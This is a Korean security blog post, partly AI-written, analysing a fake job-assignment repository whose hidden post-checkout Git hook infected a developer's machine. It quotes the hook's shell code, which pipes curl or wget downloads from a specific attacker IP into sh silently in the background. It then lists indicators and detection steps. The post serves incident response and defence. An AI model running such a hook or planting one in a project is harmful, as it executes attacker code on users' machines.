외부에서 받은 저장소를 열었을 때, 의존성만 깨끗하다고 안심하면 안 됩니다. 가짜 코딩 과제로 위장한 저장소가 ZIP 형태로 전달되고 .git/가 보존된 채로 로컬에 복원되면, 내부의 Git hook이 평범한 Git 명령을 트리거로 원격 스크립트를 내려받아 실행할 수 있습니다.
사례, 가짜 과제가 남긴 흔적
해당 사례에서 사용자가 받은 코딩 과제는 ZIP 저장소로 전달됐습니다. 이 저장소는 .git/ 디렉터리가 그대로 보존된 상태였고, 그 안의 .git/hooks/에는 post-checkout과 pre-commit 파일이 있었습니다.
post-checkout의 내용은 확인됐지만, pre-commit의 동작은 제공된 자료에서 확인되지 않았습니다. 따라서 이 글에서 hook에 의한 원격 스크립트 실행을 직접 확인할 수 있는 범위는 post-checkout에 한정합니다.
사용자의 셸 히스토리와 시간대는 이렇게 맞았습니다.
- 14:25 code Code-Testing-main
- 14:34 git branch
- 14:35 git switch readme
git switch 직후 14:35에 ~/.task/ 디렉터리가 생성됐습니다. Git은 git switch나 git checkout 이후에 post-checkout을 자동으로 실행하며, 이 시점과 홈에 유해한 구조가 생긴 시간이 일치합니다.
그리고 계속 반복되던 keychain 프롬프트도 이 감염의 일부였습니다. 사용자 머신은 이미 감염된 상태였고, 그 진입 경로가 git hook이었다는 것이 이후 확인 결과였습니다.
Hook이 한 일, OS별로 스크립트를 실행
post-checkout의 내용을 보면, OSTYPE 변수로 운영체제를 구분합니다. macOS(darwin)에서는 curl로 http://38.146.27.153/304/304m 의 스크립트를, Linux에서는 wget로 http://38.146.27.153/304/304l 의 스크립트를 받아 셸에 파이프합니다. 출력을 /dev/null로 보내고 백그라운드로 실행하는 구조입니다.
#!/bin/sh
case "$OSTYPE" in
darwin*) curl -s 'http://38.146.27.153/304/304m' -L | sh > /dev/null 2>&1 &;
linux*) wget -qO- 'http://38.146.27.153/304/304l' -L | sh > /dev/null 2>&1 &;
msys*|cygwin*|mingw*) ...
esac
이 방식의 특징은 설치 과정이 없다는 점입니다. 저장소에서 브랜치 전환이나 체크아웃 같은 일상적인 Git 명령을 수행하는 순간, 별도 설치를 거치지 않고 원격 스크립트가 실행됩니다. 출력을 없애고 백그라운드로 돌리기 때문에, 사용자가 실행 흔적을 눈으로 확인하기 어렵습니다.
여기서 한계를 분명히 짚겠습니다. 원격 스크립트가 실제로 설치한 페이로드의 내용, 해당 IP와 경로가 특정 C2 인프라로 식별됐는지에 대한 공식 확인, Windows(msys) 분기의 완전한 명령은 공개 인용에서 확인되지 않았습니다. 또한 pre-commit의 구체적 동작도 인용 범위에서 확인되지 않아, 이 글은 post-checkout 중심으로 다룹니다.
왜 npm audit은 못 잡아냈나
npm audit과 lockfile 검토는 이 백도어를 잡아내지 못했습니다. 이 사례에서 npm audit과 lockfile 검토가 저장소를 깨끗하다고 판단했지만, 그 판단은 .git/hooks/를 검사하지 않는다는 범위에서 옳았습니다. 따라서 이 확인이 .git/hooks/ 내부 파일을 포함한 검사였다는 의미는 아닙니다.
그렇다면 악성 로직은 의존성이 아니라 저장소 내부의 hook 파일에 있었습니다. ZIP 배포 경로, .git/ 보존, Git의 자동 실행 기능. 이 세 가지가 겹치면서 감염 경로가 완성됐습니다. 결과적으로, 이 사례에서 확인된 npm audit과 lockfile 검토만으로 외부를 열 때 생기는 구멍을 막지는 못합니다. 검사 대상에 .git/hooks/ 자체를 넣어야 합니다.
감염 징후가 보이면, 확인부터 격리까지
아래는 공개된 사례와 분석에서 확인된 신호를 기반으로 한 대응 순서입니다. 페이로드 상세가 확인되지 않은 상태임을 전제로, 징후가 보이면 즉시 격리부터 시작하는 것이 안전합니다.
격리 조치
- .git/hooks/에 .sample 외 실행 파일이 발견되면, 해당 저장소의 실행을 즉시 중단하고 격리합니다.
- keychain 프롬프트 반복이나 이상한 홈 디렉터리 생성이 확인되면, 해당 머신을 네트워크에서 분리하고 포렌식 검토를 시작합니다.
확인 순서
- .git/hooks/에 .sample 외의 파일이 있는지, 생성·수정 시점이 git switch나 checkout 직후와 일치하는지 살펴봅니다.
- ~/.task/ 같은 예상하지 못한 홈 디렉터리가 생성됐는지 확인합니다.
- keychain 프롬프트가 반복되는 패턴이 있는지, 해당 시점이 Git 명령 수행 이후인지 봅니다.
- 네트워크 로그에서 38.146.27.153/304/304m, 38.146.27.153/304/304l 또는 유사 경로로 shell 프로세스가 접근한 이벤트가 있는지 확인합니다.
- .git/hooks/ 파일에 sh/bash/curl/wget 같은 셸 호출과 원격 URL이 함께 들어 있으면 의심 대상으로 취급합니다.
장기 대응, 채용 프로세스의 경계를 다시 그리기
단일 사례 자료만으로는 자동 격리, 네트워크 차단, 조직 단위 정책 변경을 뒷받침하기 어렵습니다. 아래는 이 사례에서 확인된 hook 파일과 원격 URL을 점검 대상으로 삼을 때 참고할 수 있는 방향입니다.
- git switch, git checkout처럼 post-checkout이 실행될 수 있는 명령을 수행하기 전, 저장소 내 hook 파일 유무를 확인합니다.
- 의심이 들면 과제 저장소를 개인 머신이 아닌 격리 VM이나 컨테이너에서 확인하고, 확인 전까지 개발용 툴체인을 연결하지 않습니다.
- 과제 저장소를 열기 전에 .git/hooks/에 .sample 외 파일이 있는지, post-checkout과 pre-commit의 내용이 원격 스크립트 실행을 포함하는지 점검합니다.
- 저장소에서 확인된 URL(38.146.27.153/304/304m, 38.146.27.153/304/304l)이 재사용되는지 네트워크 로그에서 대조해 봅니다.
- 채용 프로세스에서는 과제 저장소 제공 방식과 .git/ 보존 여부를 확인하는 절차를 검토할 수 있습니다.
이 벡터가 단일 사례인지, 조직적 캠페인인지에 따라 사내 절차 강화 정도는 달라질 수 있습니다. 공격자 신원과 광범위한 재사용 여부는 아직 확인되지 않았으므로, 이 부분은 한계로 남겨둡니다. CISA KEV 등재 여부, 공식 취약성 번호 부여 여부도 확인되지 않았습니다.
참고자료
함께 읽으면 좋은 글
- 공공 AX 도입에서 개인정보 보호 검토: 확인된 안내 목적과 적용 범위
- CVE-2026-64849 대응: MLflow 웹훅 SSRF와 내부·클라우드 메타데이터 노출 점검
- CVE-2026-65400 대응: macOS 화면 공유 인증 우회 취약점 분석
본 콘텐츠는 AI 기술로 작성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하셨으면 댓글을 통해 의견을 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.

댓글 (0)
댓글을 작성하려면 로그인이 필요합니다.
로그인아직 댓글이 없습니다.
첫 번째 댓글을 작성해보세요!